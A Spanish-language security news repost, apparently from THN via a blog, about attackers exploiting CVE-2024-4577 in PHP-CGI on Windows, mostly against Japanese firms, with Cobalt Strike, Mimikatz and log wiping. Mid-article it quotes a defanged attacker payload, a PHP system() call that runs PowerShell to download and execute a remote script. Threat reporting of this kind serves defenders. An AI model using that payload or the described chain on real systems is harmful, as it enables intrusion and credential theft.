Actores de amenazas de procedencia desconocida han sido atribuidos a una campaña maliciosa dirigida a instalaciones de PHP-CGI de PHP en Windows.

El atacante ha explotado la vulnerabilidad CVE-2024-4577, un fallo de ejecución de código remoto (RCE) en la implementación PHP-CGI de PHP en Windows, para obtener acceso inicial a las máquinas de las víctimas

Las versiones afectadas son < 8.3.8, < 8.2.20 y < 8.1.29. Explotando la vulnerabilidad, se puede ejecutar código arbitrario en servidores PHP remotos a través del ataque de inyección de argumentos.

Tras la divulgación responsable el 7 de mayo de 2024 por parte de DEVCORE, se ha puesto a disposición una solución en las versiones 8.3.8, 8.2.20 y 8.1.29 de PHP. DEVCORE ha advertido que todas las instalaciones de XAMPP en Windows también son vulnerables de forma predeterminada.

El investigador de Cisco Talos Chetan Raghuprasad dijo en un informe técnico publicado el jueves que "El atacante utiliza complementos del kit Cobalt Strike 'TaoWu' disponible públicamente para actividades de explotación posteriores". 

<?php system ('powershell -c "Invoke-Expression (New-Object System.Net.WebClient).DownloadString(\'http[://]38[.]14[.]255[.]23[:]8000/payload[.]ps1\')"');?>

Los objetivos de la actividad maliciosa abarcan empresas de los sectores de tecnología, telecomunicaciones, entretenimiento, educación y comercio electrónico, principalmente en Japón.

Todo comienza con los actores de amenazas que explotan la vulnerabilidad CVE-2024-4577 para obtener acceso inicial y ejecutar scripts de PowerShell para ejecutar la carga útil del shellcode HTTP inverso de Cobalt Strike TaoWu para otorgarse acceso remoto persistente al punto final comprometido.

El siguiente paso implica llevar a cabo tareas de reconocimiento, escalamiento de privilegios y desplazamiento lateral mediante herramientas como JuicyPotato, RottenPotato, SweetPotato, Fscan y Seatbelt. Se establece una persistencia adicional mediante modificaciones del Registro de Windows, tareas programadas y servicios personalizados mediante los complementos del kit Cobalt Strike llamado TaoWu.

"Para mantener el sigilo, borran los registros de eventos mediante comandos wevtutil, eliminando los rastros de sus acciones de los registros de seguridad, sistema y aplicaciones de Windows", señaló Raghuprasad. "Finalmente, ejecutan comandos Mimikatz para volcar y exfiltrar contraseñas y hashes NTLM de la memoria en la máquina de la víctima". 

   Los ataques culminan con el robo de contraseñas y hashes NTLM por parte de los delincuentes. Un análisis más detallado de los servidores de comando y control (C2) asociados con la herramienta Cobalt Strike ha revelado que el actor de la amenaza dejó los listados de directorios accesibles a través de Internet, exponiendo así el conjunto completo de herramientas y marcos de trabajo adversarios alojados en los servidores en la nube de Alibaba.

Entre las herramientas más destacadas se encuentran las siguientes:

• Browser Exploitation Framework (BeEF), un software de pruebas de penetración disponible públicamente para ejecutar comandos dentro del contexto del navegador.
• Viper C2, un framework modular que facilita la ejecución remota de comandos y la generación de cargas útiles de shell inverso de Meterpreter.
• Blue-Lotus, un framework de ataque de XSS y webshell de JavaScript.

Fuente: THN

Vïa:

https://blog.segu-info.com.ar/2025/03/vulnerabilidad-en-php-cgi-aprovechada.html